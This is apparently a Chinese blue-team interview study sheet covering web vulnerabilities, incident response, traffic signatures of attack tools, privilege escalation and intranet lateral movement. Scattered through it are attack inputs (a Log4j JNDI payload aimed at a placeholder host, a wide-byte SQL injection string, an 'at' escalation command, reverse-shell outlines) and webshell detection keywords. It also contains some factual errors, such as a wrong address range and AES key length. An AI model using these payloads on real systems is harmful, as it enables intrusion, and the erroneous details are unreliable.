HVV中级蓝队常见面试问题
整理人:Drblack
网络基础
私有地址段:
A类地址范围:10.0.0.0—10.255.255.255;
B类地址范围:172.16.0.0—172.31.255.555;
C类地址范围:192.168.0.0—192.168.255.255
ISO七层模型
TCP、UDP区别
TCP与UDP基本区别
基于连接与无连接
TCP要求系统资源较多,UDP较少;
流模式(TCP)与数据报模式(UDP);
TCP保证数据正确性,UDP可能丢包
TCP保证数据顺序,UDP不保证
TCP 有流量控制(拥塞控制),UDP 没有
TCP 协议的流量控制是基于滑窗协议实现的。
TCP握手和挥手
三次握手、四次挥手
HTTP和HTTPS
HTTP 超文本传输协议 端口80
HTTPS 是支持加密和验证的HTTP。端口443
两种协议的唯一区别是HTTPS 使用TLS (SSL) 来加密普通的HTTP 请求和响应,并对这些请求和响应进行数字签名
SSL
SSL通过握手在客户端和服务器之间建立会话,完成通信双方身份的验证、密钥和加密套件的协商,从而确保客户端与服务器之间的通信不被窃听,保证网络上数据传输的安全性。
SSL为HTTP提供安全连接,可以防止中间人攻击
和网络监听,从而很大程度上改善了万维网的安全性问题,这就是SSL的起源。
DNS
53端口
OWSTP10
1.SQL 注入:2、失效的身份认证和会话管理 3、跨站脚本攻击 XSS 4、直接引用不安全的对象 5、安全配置错误 6、敏感信息泄露 7、缺少功能级的访问控制 8、跨站请求伪造 CSRF 9、使用含有已知漏洞的组件 10、未验证的重定向和转发
SQL注入
布尔盲注
报错注入:floor ExtractValue updataxml
updataxml
是更新xml文档的函数
1 | UPDATEXML (XML_document, XPath_string, new_value); |
ExtractValue
extractvalue函数与updatexml函数类似,extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容
1 | 语法:extractvalue(目标xml文档,xml路径) |
floor
1 | 实现报错的原因是:虚拟表的主键重复 |
时间盲注
堆叠注入
成因是存在mysqli_multi_query函数
宽字节注入:
- 正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的’,就会被转义为';
- 若存在宽字节注入,输入
%df%27
即%df'
时,经过单引号的转义变成了%df%5c%27
即%df\'
,之后再数据库查询语句进行GBK多字节编码,即一个中文占用两个字节,一个英文同样占用两个字节且在汉字编码范围内两个编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成汉字”運”,单引号逃逸
出来,从而绕过转义造成注入漏洞。
二次注入:
可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
User-Agent头注入
Cookie注入
万能密码
常见waf绕过办法
1 | 1 大小写绕过 |
sqlmap获取shell
- union select 后写入
- 利用分隔符写入类似于SQLMAP的 –os-shell命令
- Mysql log写入(有读写的权限,root权限,gpc关闭、绝对路径)
SQL注入常见WAF如 D盾 安全狗怎么绕:
unicode编码绕过、注释语句绕过、类型转换绕过、关键字拆分绕过、大小写绕过
预防方法
- 预编译
- PDO
- 正则过滤
SQL注入读取文件
- load_file()
SQL注入漏洞怎么修复
- 黑名单
- 白名单
- 敏感字符过滤
- 使用框架安全查询
- 不要把网站的错误信息返回给客户端
- WAF
- 数据库审计
- 云防护
- IPS(入侵防御系统)
mysql中like查询会会非常缓慢,如何进行优化
- 分词索引
XSS
1 | 第一种:反射型XSS攻击 |
XXE
xml外部实体注入,发生在应用程序解析XML输入时,没有禁止外部实体的加载
,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
危害:
1.DOS攻击
2.SSRF攻击
3.使用file协议读取任意文件
4.端口探测
5.执行系统命令
文件上传
- 本地js绕过
- MIME验证绕过(Content-Type)
- 制作图片马
- .htaccess上传
- 00截断
1 | 后缀名更改:比如PHP3、PHP5; |
文件包含
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
php引发文件包含漏洞的四个函数
1 | include() |
本地文件包含漏洞
顾名思义,指的是能打开并包含本地文件的漏洞。大多数情况下遇到的文件包含漏洞都是本地文件包含漏洞。
远程文件包含漏洞
是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。
但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置allow_url_fopen=On
allow_url_include=On
利用协议:file、php伪协议、http伪协议、zip://伪协议
CRLF
重点:需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去
CRLF 指的是回车符(CR,ASCII 13,\r,%0d)
和换行符(LF,ASCII 10,\n,%0a)
的简称(\r\n
)
在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。
所以,一旦我们能够控制 HTTP 消息头中的字符
,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。
在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出。
在拼接http响应头的过程中,服务器检测到\r\n
的时候会按照http规范认为已经到达一行的末尾,后面的数据输出到下一行。在对文件进行io读写的时候也经常会以\r\n
或者\n
作为判断行末尾的依据,后面的数据换行后再输出,这两个的原理是一样的。
CRLF这种攻击本质和sql注入、xss一样,都是由于没有对用户输入进行完全检查与过滤导致的漏洞,区别在于sql注入作用在数据库,xss的效果体现在网页主体,clrf则会将恶意代码输出在响应头中。
SSRF
服务器端请求伪造
1 | 很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容 |
问题函数:curl(),file_get_contents(),fsockopen()
1 | file:/// -- 本地文件传输协议,主要用于访问本地计算机中的文件 |
CSRF
用户在访问了网站A的情况下,同时访问B网站(恶意),B返回一些攻击性代码,并发出一个请求要求访问第三方站点A,从而进行操作。
防护
尽量使用POST,限制GET;浏览器Cookie策略;加验证码; Referer Check;Anti CSRF Token
- 配合CSRF Token校验
- 使用同源策略
序列化漏洞
定义
序列化:把对象转化为可传输的字节序列
过程称为序列化。
反序列化:把字节序列还原为对象
的过程称为反序列化
在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。
1 | __construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值 |
参考链接:https://xz.aliyun.com/t/9234
常用分析工具
日志分析 LogParser
河马
D盾 分析查杀木马
linux常用命令
1 | find 查找与文本操作 |
应急响应linux
应急思路:首先通过安全设备拦截攻击包体和日志分析,了解攻击者具体进行了什么样的攻击,通过黑白结合模拟方法进一步判断攻击者的攻击方式。复现之后对漏洞进行修复,对攻击者进行溯源。
1.查看History详细信息
查看命令执行记录 ~/.bash_history分析近期是否有账户执行过恶意操作系统命令
2.查看文件改动
1 | find ./ -mtime 0 -name "*.php" |
3.账号
1 | 1、查询特权用户特权用户(uid 为0) |
4.域名hosts
有一些挖矿程序会修改 /etc/hosts文件,请看一下其中内容是否被更改过
5.各类日志
1 | 分析安全日志 /var/log/secure查看是否有IP爆破成功 |
- 分析/var/spool/mail/root Root邮箱,当日志被删除可查询本文件
- 分析中间件、Web日志,如access_log文件
- 调用命令last/lastb翻阅登录日志
- lsof -i :3306 # 查看谁在使用某个端口
- 分析/var/log/cron文件查看历史计划任务
- 分析redis、sql server、mysql、oracle等日志文件
6.进程排查:
- 查找进程pid
- netstat -antlp # 检查当前存在的连接与监听端口
- lsof -i:port 定位可疑进程pid
- 通过pid查找文件
- cd /proc/pid号 即可进入到该进程目录中ls -ail 结果中exe对应的就是该pid程序的目录ls -ail |grep exe
- 查看各进程占用的内存和cpu
top
- 显示当前进程信息
ps
- 实现某个进程的精确查找
ps -ef | grep apache
- 结束进程
kill -9 pid
- 查看进程树
pstree -p
查找异常进程是否有父进程 - 也可以直接搜索异常进程的名程来查找其位置,
find / -name 'xxx'
7.准备查后门的工具
D盾 河马查杀
8.清理处置:杀掉异常进程,删除异常文件,打补丁或者修复相关文件等。
9.产出报告:对此次安全事件进行一个完整的文档描述。
应急响应windows
可疑账户
查看服务器是否会新增可疑账号、新增账号。打开cmd输入lusrmgr.msc
(本地用户和组)
看管理员组有没有新增可疑的用户。如果有的话就禁用或者删除即可
克隆账户
查看服务器是否存在隐藏账号、克隆账号等。首先打开注册表查看管理员对应键值HKEY_LOCAL_MACHINE-SAM-SAM-Domains-Account-users
可疑端口
通过查看外连端口,排查端口对应进程netstat -ano
可疑进程
tasklist | findstr “pid”
或者输入msinfo32
进行一个可视化的查看
日志分析
中间件日志和系统日志。结合日志分析工具LogParser排查
1 | 4624 - 登录成功 |
文件分析
结合一些工具:火绒剑、procexp进行分析。
1 | 文件分析技巧 |
计划任务
查看计划任务中有无可疑项
半自动:D盾
溯源
思路
邮件溯源
在攻击者通过邮件钓鱼攻击成功的安全事件中,通过分析钓鱼邮件可以获得一些有效信息,主要可以分为以下几类:
发件 IP、发件账号、邮件内容(格式特点)可用于将攻击者投递的邮件分类;
发件账号中可能存在个人信息,如:“账号@qq.com”、“昵称@gmail.com” 等此类字符串,检索账号或昵称ID可用于挖掘身份信息;
邮件内容大致可分以下三类:投递物(后门木马、其他攻击组件);钓鱼网站,包含域名、IP 等信息;其他,需要研究邮件中的字符串,邮件可能存在攻击者的其他账号;
发件 IP、发件服务器(此类属攻击者资产)。
后门溯源
代码逻辑:由于人天生的惰性,红队开发者可能会复用以前的一些代码。如果代码特点比较明显,可依此进行分类拓线。
字符串特点:字符串特点用于将红队投递的样本分类及拓线出更多的样本,将检索到的样本再进行分析并分析历史样本(如测试阶段的样本)查找更多暴露信息。
元数据:(投递的诱饵不同,得到的元数据不同。诱饵类型包括:LNK、EXE、DOCX等)。EXE 文件:存在 PDB 信息,部分开发人员会将项目存放在桌面,这会导致编译信息带入开发人员的终端名称(极大可能为个人昵称);LNK 文件:由于 LNK 文件在新建的时候会带入计算机名称,这可以用于样本的拓线和分类,极少情况下可找到个人昵称;DOCX 文件:可能存在“最后编辑者名称”。
回连 C2:C2属攻击者资产。
攻击者资产溯源
获得到ip或者域名后进行
域名自身特点(昵称字符串)看看有没有线索,是不是xx安全团队
如果只有ip,尝试ip反查域名,查询Whois 信息,可能包含:注册者邮箱、电话号码等;
搭建网站(通过图中四种方法探测资产的现有数据和历史数据)。网站可能存在红队的其他攻击组件;网站存在个人昵称、简介等;网站备案信息;
IP 信息需要考虑如下两点:是否定位到某个安全公司的地理位置;是否标记为某个安全公司的网关。
攻击IP,攻击类型,恶意文件,攻击详情等信息都是溯源的切入点,通过攻击类型来分析攻击详情的请求包可以查找有没有攻击特征遗留,对IP地址进行威胁情报查询可以判断对方所用的IP是否为代理IP,以便于进步一追溯攻击者信息。,如发现攻击者的网络圈子ID或手机号,可通过不限于百度、谷歌、SRC信息、微博、贴吧、支付宝、tg社工库等手段收集信息、第四步:如果有蜜罐设备,则分析蜜罐设备日志,如长亭谛听。
反制
首先可以通过安全设备查到攻击ip,然后通过相关网站反查手机号和邮箱,之后可以通过社交软件或购物平台描绘出攻击者画像。
常用反查网站有ipwhois.cnnic,ip.tool.chinaz,chaipip.com等。
取证工具
1 | PC Hunter Windows系统信息查看软件,也是手工杀毒辅助软件。软件可以查看内核文 |
反制溯源工具准备
1 | Railgun:集成了端口扫描、端口爆破、web指纹扫描、漏洞扫描、漏洞 |
邮件溯源
1 | 1.检测到异常邮件,上报并与指挥部确认是否发送该邮件 |
误报
误报其实个人看来分为两类
- 将正常操作误报为危险操作
这种情况下,常常为一些正常业务导致的告警。比如
- 在一些银行业务中,会涉及到接口获取个人信息,比如身份证等,监控设备会将这些内容认为是一个告警。
- 内网主机在监控期间,运维人员执行了一些敏感命令,导致了告警
以上情况都要根据实际的现场人员去核实、或者多观察源ip,排查该ip一段时间内的流量,去判断是否是一个误报
- 将未攻击成功误报为攻击成功
这种常见为一些实际攻击的情况。
- 比如一个文件上传漏洞,在攻击者尝试上传木马后,由于服务器代码逻辑问题,始终返回200,导致设备告警。其实文件并未上传成功
机器一般他报告里面都会把攻击者的命令,木马文件啥的都写出来,还会生成一个md5,可以在病毒库里面对照md5看看是不是误报,还可以看看命令是不是攻击命令,有可能是管理员在操作,一些危险操作比如创建用户,上传文件啥的就要向上面判断去确认是不是管理员在操作,不是就说明被攻击了。也可以看到木马文件的内容,如果里面是一句话那肯定就不是误报。
寻找Webshell的方法
1、文件内容中的恶意函数
PHP:eval(、system(、assert(
JSP:getRunTime(、 FileOutputStream(
ASP:eval(、execute(、 ExecuteGlobal(
2、Web日志中的webshell特征
Darkblade:goaction=login
JspSpy:o=login
PhpSpy:action=phpinfo
Regeorg:cmd=connect
Other:cmd=
3、贴合Web业务中的url来分析Web日志
4、每天新增的动态脚本文件
5、低频访问的脚本文件
常见加密算法
最常见的两种加密算法是对称加密和非对称加密。
对称密码算法
DES
https://www.cnblogs.com/idreamo/p/9333753.html
AES
https://www.cnblogs.com/luop/p/4334160.html
- 运算速度快,在有反馈模式、无反馈模式的软硬件中,Rijndael都表现出非常好的性能。
- 对内存的需求非常低,适合于受限环境。
- Rijndael 是一个分组迭代密码, 分组长度和密钥长度设计灵活。
- AES标准支持可变分组长度,分组长度可设定为32 比特的任意倍数,最小值为128 比特,最大值为256 比特。
- AES的密钥长度比DES大, 它也可设定为32 比特的任意倍数,最小值为12 比特,最大值为256 比特,所以用穷举法是不可能破解的。
- AES算法的设计策略是WTS。WTS 是针对差分分析和线性分析提出的,可对抗差分密码分析和线性密码分析。
而AES的优点, 正是 DES的缺点所在。
非对称加密体系
RSA算法
- RSA 是最著名的公钥密码算法之一,广泛用于加密、数字签名以及密钥交换。
- 其安全性基于大整数分解问题的难度。
数字签名
- 数字签名:使用私钥进行签名,公钥进行验证。
- 公钥密码加密解密:使用公钥进行加密,私钥进行解密。
流量特征
菜刀
base64编码
有一些关键代码没有被加密,容易被识别
1、eval执行php代码
2、base64_decode($POST[z0]) ; 设置payload的编码方式
3、&z0=… 是攻击载荷
菜刀会伪造 XFF 头,且每一次利用菜刀与webshell建立连接,XFF 都会变化。
蚁剑
默认是URL编码
流量特征
因为蚁剑在数据包中实际上是将解码函数一同发送到服务端,那几个解码函数是没法加密的,所以产生一个很明显的流量特征。
data中含有@ini_set("display_errors", "0");@set_time_limit(0);
,header中含有antSword字眼
冰蝎
AES对称加密
冰蝎2流量特征
- 2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
- Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
- 建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;
1 | ACCEPT字段:冰蝎2默认Accept字段的值很特殊 |
冰蝎3
冰蝎3.0 取消动态密钥获取
新增了无动态密钥交互。只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。密钥生成可以看出,使用密码的md5结果的前16位
冰蝎3流量特征
1 | 特征分析: |
冰蝎4
采用Rc4加密
哥斯拉
java和c#的载荷原生实现AES加密,PHP使用亦或
加密。
特征:
1 | 1.User-Agent (弱特征) |
ps:哥斯拉避免被查杀技巧:
1.不使用默认密码(pass)
2.修改ua头
3.填充垃圾数据(post的左右)
优点
全部类型的shell均过市面所有静态查杀
流量加密过市面全部流量waf
Godzilla自带的插件是冰蝎、蚁剑不能比拟的
sqlmap
–os-shell原理 :就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下
要求
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
流量特征
1.User-Agent 中带有sqlmap字样
2.上传的小马中,包含所有的命令执行函数
3.sqlmap 成功写入命令马的时候, 会执行一条测试语句echo command execution test
4.再就是sqlmap会判断当前的操作系统, 而判断操作系统就会使用 @@version_compile_os
ICMP隧道流量
异常流量包,数据量更大,且含有命令返回结果
Log4j
1 | HTTP请求中包含特定的JNDI注入Payload,如 ${jndi:ldap://x.x.x.x:1389/Exploit} |
nmap
常规使用
1 | -sS (SYN扫描) |
nmap流量特征
1.nmap在使用SYN扫描时Windows的窗口值值固定是1024。
2.扫描出的包里面会有一些关键字 比如nmap,nm,nm@p
1 | 利用: |
MSF
1,端口号:msf默认使用4444端口作为反向连接端口
2,数据内容:msf数据包通常包含特定字符串:(“meterpreter”、”revshell”等)
CS
- 心跳包
1 | 被控端会向服务端发送心跳包。 |
1 | 此外,我们还可以使用CS的心跳指令来提取其特征。通常情况下,CS会定期向C2服务器发送心跳包,以保持与服务器的连接。我们可以使用Wireshark等工具,捕获并分析这些心跳包,以识别出CS的特征 |
心跳特征
被控端会向服务端发送心跳包。心跳包是一种延迟发送的数据包,默认间隔为 60 秒。
心跳包长度
心跳包长度固定(长度根据不同的会话或者 CS 版本来提取特征),如果是 http 隧道,则心跳包访问的 url 也是固定。
证书特征
Cobalt Strike 流量中 tls1.2 流量的证书特征。
中间件漏洞
IIS
IIS的全称是Internet Information Services(互联网信息服务),是微软提供的运行在Windows系统下的中间件,主要用来解析.ASP,.ASA,.CER三种文件格式的文件
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
IIS 7.0
上传合法的“图片”(图片木马)然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell,在使用菜刀链接即可。
Apache
1、解析漏洞
2、目录遍历
Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
Tomcat
1、远程代码执行
2、war后门文件部署
weblogic
7001/7002端口 t3协议
权限绕过漏洞(CVE-2020-14882)和后台任意命令执行漏洞(CVE-2020-14883)组合拳漏洞
1 | 基于T3协议weblogic的反序列化漏洞 |
流量特征:不加密,常见的出网协议也可以用。有很多T3协议的特征,文件操作和冰蝎一样有file-out-stream字段。
Fastjson
fastjson可以实现java对象和Json字符串的相互转换,fastJson漏洞时由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。
fastjson漏洞最基本的特征就是@Type字段,若靶机出网通常会使用rmi进行反弹shell等操作。
Log4j
漏洞原理是log4j2在进行日志记录时会将pattern中用${}包裹起来的变量进行解析,并替换为解析后的值,插入到日志记录的语句中
1 | HTTP请求中包含特定的JNDI注入Payload,如 ${jndi:ldap://x.x.x.x:1389/Exploit} |
Struct2
S2-053
漏洞原理:
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成了一个OGNL表达式,被OGNL解析第二次,导致任意命令执行漏洞。
特征:请求头**包含 %{}**,请求体和响应体都包含 payload。
SSH加固
防火墙
堡垒机
堡垒主是专门设计用于阻止来自网络的恶意流量和攻击的安全网关。堡垒在公共网络上公开的安全代理和审计服务,通过堡垒机和限制和审计用户操作,记录用户操作,可以对可疑操作进行告警或者直接阻断从而减少对主机威胁。当两个通道建立SSH连接时,设置堡垒主机可能有助于提高安全性并保护系统。
修改默认SSH设置
1.更改默认22端口 修改/etc/ssh/sshd_config文件
2.禁用root登录
安全加固
1.口令复杂度策略
口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号
2.多次登录失败锁定策略
系统应配置当用户连续认证失败次数超过5次,锁定该用户使用的账号
3.多余账户锁定策略
应锁定与设备运行、维护等工作无关的账号。
4.关键目录权限控制
根据安全需要,配置某些关键目录其所需的最小权限;
5.日志文件权限
只能追加数据,不能删除日志文件
6.防止SQL注入及远程包含
SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,所以一定要小心。
php.ini中有一个设置:
1 | magic_quotes_gpc = Off 改为 magic_quotes_gpc = On |
在远程文件包含漏洞中,攻击者可以通过访问外部地址来加载远程代码,所以一定要设置:
1 | allow_url_fopen = off |
7.不使用默认密码和弱口令
检查各个组件或者数据库等的默认密码和弱口令,口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号四类中至少两种
8.禁止远程连接数据库
使用命令netstat 查看默认的3306端口是打开的,此时打开了mysql的网络监听,允许用户远程通过帐号密码连接数本地据库,默认情况是允许远程连接数据的。为了禁止该功能,启动skip-networking,不监听sql的任何TCP/IP的连接,切断远程访问的权利,保证安全性。
1 | vi /etc/my.cf #将#skip-networking注释去掉 |
9.对重要数据加密存储
10.修改网站的某些默认端口
内存马排查
1 | 作为应急或者运维人员,当遇到疑似内存马的安全事件时,该如何去快速确认内存马是否存在以及确认内存马的位置呢?大体思路如下 |
进程排查思路
进程排查思路(火绒剑都可查看到)
- 没有签名验证信息的进程
- 没有描述信息的进程
- 进程的启动用户
- 进程的路径是否合法
- CPU或内存资源占用长时间过高的进程
登陆框可能存在的漏洞
首先看一下有没有对应的cms,如果是,则可以查一下该cms的历史漏洞
看登陆框是否可以进行用户名爆破
看有没有验证码,如果有,试试能不能绕过
1 | 一、前端验证验证码,并没有后端验证。直接抓包然后进行跑数据包,反正有没有验证码的阻碍 |
登录框处看看是否存在sql注入
是否存在弱口令或者万能密码
看看有没有注册或者找回密码功能,测试这两个功能的漏洞
还可以通过查看响应包,看看修改响应包的值能不能达到绕过检测的目的
HTTP字段
1 | Host:ip 指定主机名称 |
挖矿木马排查
确定挖矿进程
- 可以使用命令直接筛选出占用CPU过高的可疑进程。
- 部分挖矿进程的名字由不规则数字和字母组成,可直接看出,如ddg的qW3xT.4或zigw
- 进程会修改进程名为常见名称,干扰运维人员,这种伪装方法比较简单(比如利用XHide修改进程名或直接修改可执行文件名),所以排查过程中也要关注所有占用CPU较高的可疑进程。
如果确定了可疑进程,可以使用查看进程打开的文件,或查看指向的文件。
如果挖矿木马有隐藏进程的功能,那么很难直接从top中确定可疑进程名。这时,可从以下几方面进行排查:
- 是否替换了系统命令
使用查看系统命令是否被替换,如果系统命令已经被替换,可直接从纯净系统拷贝ps,top,等命令到受感染主机上使用。
- 是否修改了动态链接库
如果找不到占用CPU较高的进程,可考虑排查是否修改了动态链接库,使用或命令查看是否有预加载的动态链接库文件。
查看挖矿进程所属用户
一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。
查看用户进程
确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞=
确定原因
排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。
清除挖矿木马
- 及时隔离主机
- 阻断与矿池通讯
- 清除定时任务
- 清除启动项
session cookie token区别
1 | session:理解为是"会话",代表着服务器和客户端一次会话的过程 当用户打开某个web应用时,便与web服务器产生一次session 服务器使用session把用户的信息临时保存在了服务器上,用户离开网站后session会被销毁。这种用户信息存储方式相对cookie来说更安全,可是session有一个缺陷:如果web服务器做了负载均衡,那么下一个操作请求到了另一台服务器的时候session会丢失。 |
有cdn的网站如何获取真实IP
1 | 1. 超级ping 如果ip不一样 说明有cdn |
redis未授权漏洞
1 | 条件 |
常见的高危端口
1 | 21 FTP(文件传输协议) |
挖洞流程
这里瞎写的 实际要看针对的目标,是挖src还是挖cnvd这种
拿到一个主站的域名之后
1.信息搜集
利用oneforall和一些在线子域名爆破网站进行一下子域名的爆破,然后进行去重,再利用fofa等网站探查一下一些站点的指纹和框架。看看有没有一些cms可以利用。 whois反查
2.漏洞测试
根据筛选的站点,有针对性的进行端口探测,目录探测,看看有没有站长留下的一些敏感文件或者压缩包之类的。根据端口的开放情况有针对性的进行漏洞利用检测。
反序列化
java的反序列化,普遍特征:
对于没有回显的情况,查看十六进制
TCP:必有aced0005,这个16进制流基本上也意味者java反序列化的开始;
HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果;
Fastjson
原理也是jdni注入 利用就是构造一个json字符,用@type指定一个类库,流量特征就是json autotype
Jboss
shiro反序列化
漏洞原理:Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值->Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
Shiro反序列化有两种常用的加密模式,分别是CBC和GCM
Shiro
shiro550
加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。
shiro 721
AES 秘钥不在是固定的了,但是此秘钥可以被爆破
流量特征:
在返回包的 Set-Cookie 中存在
rememberMe=deleteMe
字段,但是可能存在误报,可以尝试使用常见的AES密钥对rememberMe的值进行遍历解密尝试,如果可以成功解密的话再对解密的结果进行常见利用链的关键类名特征检测返回的数据包含有多个$$$符号,C参数有base64编码
返回包中存在base64加密数据,该数据可作为攻击成功的判定条件。
shiro有key无链利用
一般用shiro_tool这一款工具,看看可不可以用JRMPClient来利用。先看JRMPClient是否存在,如果存在。 接下来就在vps上起一个JRMPListener,然后配合shiro_tool尝试
PHP反序列化
常见提权
windows提权
1.mysql UDF提权
UDF提权(利用了root 高权限,创建有cmd函数的udf.dll动态库,导出 那个文件后,就可以框输入 cmd,mof(系统会创建一个临时文件,创建的时候用的是system,把cmd命令放在mof上执行)
提权的前提
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib/plugin文件夹下
- mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windows\system32目录,在windows server - - 2000下放置在c:winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
- 版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
利用msf进行UDF提权
使用mysql_udf_payload模块
适应于5.5.9以下
2. 2003 at提权 0点计划任务 执行cmd窗口
1 | at 00:00 /interaction cmd.exe |
sc提权
3.redis未授权提权
1 | (1).利用计划任务执行命令反弹shell |
4.令牌窃取配合烂土豆提权
如果单单用令牌窃取,可能权限太低,无法窃取。例如,如果是web权限(IIS类似的服务权限)
非服务类用户权限无法窃取成功(原理)
过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取SYSTEM-成功
1 | 1.利用msf生成后门,监听端口 |
5. 常用的补丁提权,syteminfo复制系统信息,拿去辅助提权。
LINUX提权
1 | 1.内核漏洞脏牛提权 |
内网渗透思路
拿下一台服务器后,可以看到我们不是最高权限,如果不是第一步肯定是要进行权限提升的,
- 提权
先进行主机信息的收集,查看主机的系统版本,修复的补丁。
1 | systeminfo |
- 内网信息收集
- 去找存在的路由信息和内网存活主机 arpscan
- 搜集浏览器等软件的信息,方便制作密码本
- 本机运行的服务
- 端口信息,比如3389这种
- 搜集域环境相关信息,比如域内用户、组、域名等。net time /domai 这种会显示域控的名称
口令爆破
凭据窃取
mimikatz等抓取本地密码
- 横向渗透
ipc–计划任务
开启了139、445端口 2. admin$共享 3.账户密码 利用PSexec去工具
计划任务横向 at命令横向 win2003以下 schtasks 2008 at不能用的情况下
PTH 哈希传递攻击 利用ntlm-hash
PTK 密钥传递攻击 利用AES hash
PTT 票据传递攻击 黄金白银票据
利用一些远程桌面工具进行横向
DCOM横向
- 拿下域控
- 通过高权限读取本地密码
- server2008有效 MS14068 普通用户提权到域控权限
- 窃取域管理员运行的服务的令牌,从而控制整个域。
- 权限维持
- 黄金、白银票据
- 计划任务
- 启动项后门
- WMI配合Powershell实现无文件后门
黄金票据和白银票据
白银票据通常用于攻击域控,黄金票据则用于拿下域控后权限维持,且黄金票据是伪造发票人,而白银票据则是伪造门票。
1 | 黄金票据 |
钻石票据和蓝宝石票据
钻石票证攻击利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
1 | 1. 黄金票据与钻石票据区别 |
什么是PAC
PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。
蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。
他们的区别在于PAC
的修改方式。钻石票据是修改了合法PAC
以添加特权组。在蓝宝石票据中,高权限用户PAC
是通过S4U2Self+U2U
获得的,然后该PAC
会替换原来的PAC
,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。
内网工具
内网穿透
- ngrok
它可以将内网中的 HTTP 和 TCP 服务映射到公网上,支持多种操作系统和语言。
- frp
frp 是另一款流行的内网穿透工具,与 ngrok 类似,它可以将内网中的 TCP 和 UDP 服务映射到公网上,同时支持多种操作系统和语言。frp 的安装和使用也非常简单,只需要下载对应的客户端进行安装即可。
密码相关
- Exchange 密码喷洒
- mimikatz
- hydra 九头蛇
集成工具
- CS
- MSF
- Fscan 大工具
内网不出网机器上线方法
隧道技术
我们在内网协议被封杀的时候使用隧道技术。
隧道技术是一种在网络中创建私密通道以在不安全或公共网络上安全传输数据的方法。它允许将一种网络协议的数据封装在另一种网络协议的数据包中传输。
隧道就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙与对方进行通信;数据包到达目的地时,将数据包还原,并且将还原后的数据包发送到对应的服务器上。
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
检测协议的方法
- ICMP协议:ping
- TCP协议:nc\ncat
- HTTP协议:curl\wget
- DNS协议:nslookup\dig
工具
- ICMP协议:Pingtunnel
- TCP隧道:
- HTTP隧道:Neo-reGeorg
- DNS协议:dnscat2
